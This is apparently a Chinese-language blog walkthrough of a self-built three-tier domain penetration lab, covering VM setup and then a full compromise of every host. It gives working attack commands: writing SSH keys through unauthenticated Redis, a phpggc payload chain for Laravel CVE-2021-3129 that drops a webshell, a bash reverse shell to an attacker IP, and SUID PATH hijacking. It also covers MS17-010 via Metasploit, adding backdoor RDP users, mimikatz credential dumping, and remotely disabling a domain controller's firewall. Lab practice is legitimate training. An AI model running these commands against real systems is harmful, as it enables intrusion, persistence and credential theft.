从本科开始就断断续续地学习了一些安全方面的知识,到最近发现提升的最好方式就是不断地练习。经过一番查找,寻得一个不错的靶场,参考链接:自主搭建的三层网络域渗透靶场打靶记录,漏洞详情。在参考第一个链接中的文章进行渗透时,发现有些细节无法复现,并且在某些方面采取了不同渗透手段,故写下本文,希望能为同样有疑惑的小伙伴提供参考意见。对于本文中出现的错误,希望各位师傅不吝赐教。
靶场需要的文件在漏洞详情可以下载,并且该链接中有对靶场详细的介绍。但是其中存在一些叙述错误。接下来介绍笔者在使用linux的vmware搭建靶场时遇到的各种问题,以及解决的办法和需要注意的事项。
(1) 该虚拟机需要使用最新的vmware16版本才能打开。并且需要手动选择使用虚拟网卡,如下图所示(windows版本的vmware不需要手动选择)。
(2)开启虚拟机,显示找不道磁盘文件,手动现在磁盘文件
(3)再次开启虚拟机,任然显示与磁盘有关的错误
(4)测试了一下,在windows版本的wmware上可以正常启动虚拟机,在linux下不行,应该是文件名中有中文字符,导致无法识别。最直接的想法就是能不能修改磁盘文件,通过查找资料,大多数都是通过 vmware-vdiskmanager这个软件来修改,但是出现以下的错误。
(5)vmware-vdiskmanager找不到文件,感觉无解了,继续查找资料,发现vmware-vdiskmanager的原理是修改*.vmdk文件。于是直接用文本编辑软件打开磁盘文件
上图蓝色标注的文件正好与虚拟机的虚拟磁盘文件对应,修改其名字,不带中文字符与空格。
(6)再次启动虚拟机,发现可以正常启动了,启动
redis服务sudo redis-server /etc/redis.conf
,不使用sudo启动的话,后续无法在此机器上提权(CVE-2021-3156提权失败,主要还是自己太菜了,需要增加难度的可以不加sudo启动)。
(1)启动web2点击browse选择对应的磁盘文件
居然正常启动了,应该是磁盘文件没有像web1一样被分割。
(2)启动容器 sudo docker start 8e
在C:\MYOA\bin中开启通达OA(AutoConfig.exe,这个程序在pc1中,不在pc2中),账号密码为Administrator:Whoami2021
只需要启动机器,无需登录。
整个网络拓扑图如下所示:(使用两台攻击机是因为awvs和nessus装在了win10的机器上。)
(1)在win10上使用nessus扫描192.168.250.139,发现redis未授权漏洞,未发现其他的漏洞。
(2)awvs扫描http://192.168.250.139/,发现redis未授权漏洞。
(3)在kali上使用nmap扫描,发现开了81端口。
(4)访问81端口,发现是个网站,继续使用win10的awvs扫描81端口,发现Laravel漏洞(远程代码执行)。
(1)目前可以入手的地方有redis未授权漏洞与Laravel漏洞。先从reids未授权漏洞开始尝试。参考链接:Redis未授权访问详解。
(2)为kali安装redis,尝试连接web1的redis。并使用flushall清空redis中所有的数据。
(3)kali生成ssh登录的公私钥,使用3072长度的公钥(RSA非对称加密)。对密钥对的具体内容感兴趣,可以参考ssh-keygen生成的id_rsa文件的格式。
(4)将kali的公钥写入web1的redis中。
kali执行(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
。cat /home/kali/.ssh/key.txt | ./redis-cli -h 192.168.250.139 -x set pubkey
至此,公钥已写入redis中。
(5)将kali的公钥从redis中写入web1的/root/.ssh/authorized_keys。
config set dir /root/.ssh
config set dbfilename authorized_keys
save
(6)kali登录web1: ssh [email protected]。收集web1的信息,发现还有子网192.168.52.0/24。
(1)再尝试Laravel远程代码执行(CVE-2021-3129),参考链接 CVE-2021-3129 Laravel Debug mode RCE 漏洞分析。
(2)使用postman验证漏洞是否存在。
Reponse
(3)清空日志文件。
php://filter/read=consumed/resource=../storage/logs/laravel.log
(4)发送无害payload对齐。
(5)生成攻击payload(phpggc链接 https://github.com/ambionics/phpggc)
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=
的解码内容如下:
(6)发送攻击payload:
在上一步的输出的末尾加上字符a,再发送
(7)转换payload:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
注意转换文件这步一定要无返回信息,如果有错误,说明前几步根本没到位。
(8)进行反序列化:
phar://../storage/logs/laravel.log/test.txt
(9)使用蚂剑连接webshell,上传rshell.php,内容为
<?php system('bash -c "bash -i >& /dev/tcp/192.168.250.112/8888 0>&1"'); ?>
kali执行nc -lvp 8888
,访问192.168.250.139:81/rshell.php
拿到反弹shell。
(1)尝试内核提权。上传linux-exploit-suggester.sh(https://github.com/mzet-/linux-exploit-suggester),逐个尝试发现都不行。
(2)翻看参考链接,发现是利用suid提权。
find / -perm -u=s -type f 2>/dev/null
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell
得到root权限,然后改密码,免得以后每次都要提权。
(3)安装ifconfig命令
apt install net-tools
。
执行ifconfig,发现ip有点奇怪,像是docker容器分配的ip,查看相关文件,发现真的是在docker中。
(4)到这一步又卡住了,查看链接,发现用到docker特权逃逸。查看/dev,发现sda,sda1,sda2,sda5几个可疑文件,将其挂载到/tmp/sda,/tmp/sda1,….上。sda已经挂载,挂载sda1,查看其中的一些关键文件:
/etc/passwd没什么有用信息。
/home 目录发现一个用户ubuntu(宿主机大概率是ubuntu系统),检查web1的home目录,发现只有用户web,说明容器没有运行在web1上。
/etc/network/interfaces文件中保存对应的ip信息。
发现与web1 ip不同且都在192.168.52.0/24子网中,可能是web1 对端口81做了反向代理。回看awvs对web1的扫描结果:
查看web1的nginx配置文件
分别查看一下:
果然在web1上进行了反向代理 192.168.250.139:81-->192.168.250.20:8000。
(5)将web1的ssh公钥写入web2的/root/.ssh/authorized_keys。
随后从web1 ssh登录web2: ssh [email protected]。然后修改密码,以便后续登录。
(6)结合目前已知信息,绘制出网络拓扑图
为了进一步进行内网渗透,kali/win10需要访问192.168.52.0/24与192.168.93.0/24,可以借助web1进行路由,由web1充当NAT服务器。在这个靶场中,情况比较特殊,两台攻击机和web1在同一个子网中,但是在现实情况下,攻击机一般不会和web1在同一子网下,可以使用虚拟专用网络技术,将攻击机和web1放在同一个逻辑网络中,虚拟专用网络的服务器由web1担任,下图是一般情况的抽象描述:
(1)开始部署虚拟专用网络。在web1上搭建虚拟专用网络服务器。服务器搭建参考搭建虚拟专用网络。
(2)kali可以直接导入配置文件,windows端则需要对应的客户端(虚拟专用网络客户端)。配置好后并开启虚拟专用网络,可以看到kali多了一个ip 10.8.0.2(10.8.0.1是虚拟专用网的网关)
(3)攻击机要想访问192.168.52.0/24,只需要在web2上添加一条到192.168.250.0/24的路由项:
route add -net 192.168.250.0 netmask 255.255.255.0 gw 192.168.52.10
。这样kali与win10便能访问到192.168.52.0网络。
(4)但是攻击机要想访问192.168.93.0/24,需要先在web1中添加到192.168.93.0/24的路由项:
route add -net 192.168.93.0 netmask 255.255.255.0 gw 192.168.52.20
。这样来自攻击机的数据包能通过web2访问192.168.93.0/24,但是对于192.168.93.0/24中的其他机器的可能无法访问到192.168.250.0/24,因为路由表中可能不存在对应的路由项。所以将web2作为NAT服务器,进行流量转发。首先web2开启流量转发echo "1" > /proc/sys/net/ipv4/ip_forward
。然后web2设置NAT表iptables -t nat -A POSTROUTING -j SNAT --to 192.168.93.10
,设置允许NAT转发iptables -P INPUT ACCEPT
,iptables -P FORWARD ACCEPT
。最后成功访问192.168.93.0/24
(5)下图简单的描述了数据包从kali到192.168.93.0/24,并从192.168.93.0/24返回的过程:下图只是示意图,并不完全准确。
(6)至此,可以从kali与win10访问子网192.168.52.0/24与192.168.93.0/24。在kali上运行
nmap -sP 192.168.52.0/24
,nmap -sP 192.168.93.0/24
(7)也曾尝试过earthworm代理,但是无法win10的nessus和awvs的流量流量无法进入子网,所以最终选择了虚拟专用网络的方案。
(1)对192.168.93.40进行仔细扫描。
(2)3389,445开放,应该是一台windows机器。上nessus再扫描。
(3)在kali的msf上尝试CVE-2019-0708-Bluekeep漏洞,把机器干关机了,无奈换一个漏洞试试。MS12-020也只能把机器打关机。尝试MS17-010漏洞,也是打关机。没办法了,在找找资料。最终查到 https://www.jianshu.com/p/2f31c453c70f,将payload里默认的reverse_tcp改为bind_tcp。改了一下,居然成功了。但是shell居然乱码
查找资料,输入chcp 65001,改变编码格式即可解决
(4)添加一个新用户
net user test passwdsdff233.. /add
,把test添加进远程左面组net localgroup "Remote Desktop Users" test /add
(5)顺利登入。看看文件夹,有没有什么有用的信息。找到下面的账户信息
(6)尝试登陆DC,弱口令Administrator-administrator等,都不行,遂放弃。
(7)发现该pc在域中,那其他机器呢,使用nmap -sP没有扫描出来,可能是有防火墙,过滤了nmap的扫描信息。查资料后,使用其他的扫描方式 https://blog.csdn.net/weixin_39624774/article/details/111282245。
nmap -p0 192.168.93.0/24
无ping扫描,对每一个指定的目标IP地址进行所要求的扫描
nmap -PU 192.168.93.0/24
发送一个空的报文到主机,如果返回则说明设备在线
nmap -PR 192.168.93.0/24
apr ping扫描
nmap -sS 192.168.93.0/24
与nmap -R 192.168.93.0/24
发现新的主机,从开放的端口看,感觉像是域中负责认证的主机。
(8)在meterpreter中
load kiwi
kiwi_cmd sekurlsa::logonPasswords
未得到任何有效信息
nessus扫描发现的192.168.93.30
发现一堆漏洞,测试所有的漏洞,发现都失败,应该是开了防火墙。至此,一共才发现了4台主机,拿下3台,还有一台没有扫出来了。查看参考链接,发现还有一台ip为192.168.52.30(难道是开了防火墙才没扫出来?192.168.93.40没开防火墙,被扫出来了)。但是访问
http://192.168.52.30:8080
与http://192.168.93.20:8080
没反应。使用参考链接里的方法也没把机器扫描出来 https://www.freebuf.com/articles/network/264560.html。(难道要手动关闭防火墙?)。
(1)手动关闭pc1的防火墙后,在win10上能访问
http://192.168.93.20:8080
,但是却不能访问http://192.168.52.30:8080
,win10能ping通192.168.93.20与192.168.52.20,但是却ping不通192.168.52.30,目前不确定原因。
(2)利用通达OA文件上传漏洞,上传图片马。参考链接https://blog.csdn.net/szgyunyun/article/details/107104288
(3)kali中利用msf生成反弹shell。(此处为32位的反弹shell,64位的反弹shell与正向连接shell会失败,后面尝试将生成的64位正向、反向木马直接放到pc2运行也不能在msf中拿到shell,无奈只能使用32位的shell)。
点击run
在pc1执行反弹shell代码,在msf中等待反弹shell的连接。
(4)在shell中打开3389端口号
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
查看RDP端口REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
(5)添加账号
net user test1 passwd /add
将test1加入远程桌面组net localgroup "Remote Desktop Users" test1 /add
(6)远程登录到机器上收集信息,ip地址,存在的用户等
根据收集到的信息,该机器应该和192.168.93.30 192.168.93.40 在一个域中,尝试使用mimikatz抓取密码。输入
load kiwi
,kiwi_cmd sekurlsa::logonPasswords
提示mimikatz x86 cannot access x64 process
。分析发现,反弹的shell是32位,需要将meterpreter进程迁移到一个64位进程中(参考链接 https://www.zhihu.com/question/458777798/answer/1879326720,https://blog.csdn.net/qq_41453632/article/details/84726947)。
经过尝试,将进程迁移到system用户的mysqld进程中(不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏)。
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
得到管理员账号密码Administrator-Whoami2021
以及其他的账号bunny-Bunny2021
(7)另一种方法,使用nessus扫描pc1,发现MS17-010漏洞,可以直接参考0x04入侵pc2的方法。
(1)尝试使用域管理员密码登录。登录失败,看样子是防火墙的原因。
(2)尝试关闭防火墙。在pc1的反弹shell中连接到域控。
关闭防火墙sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
,sc \\192.168.93.30 start unablefirewall
(3)再次尝试登录域控
至此所有机器都被拿下。回顾整个过程,故写下这篇文章,一是为了总结;二是列出过程中踩的坑,供大家参考。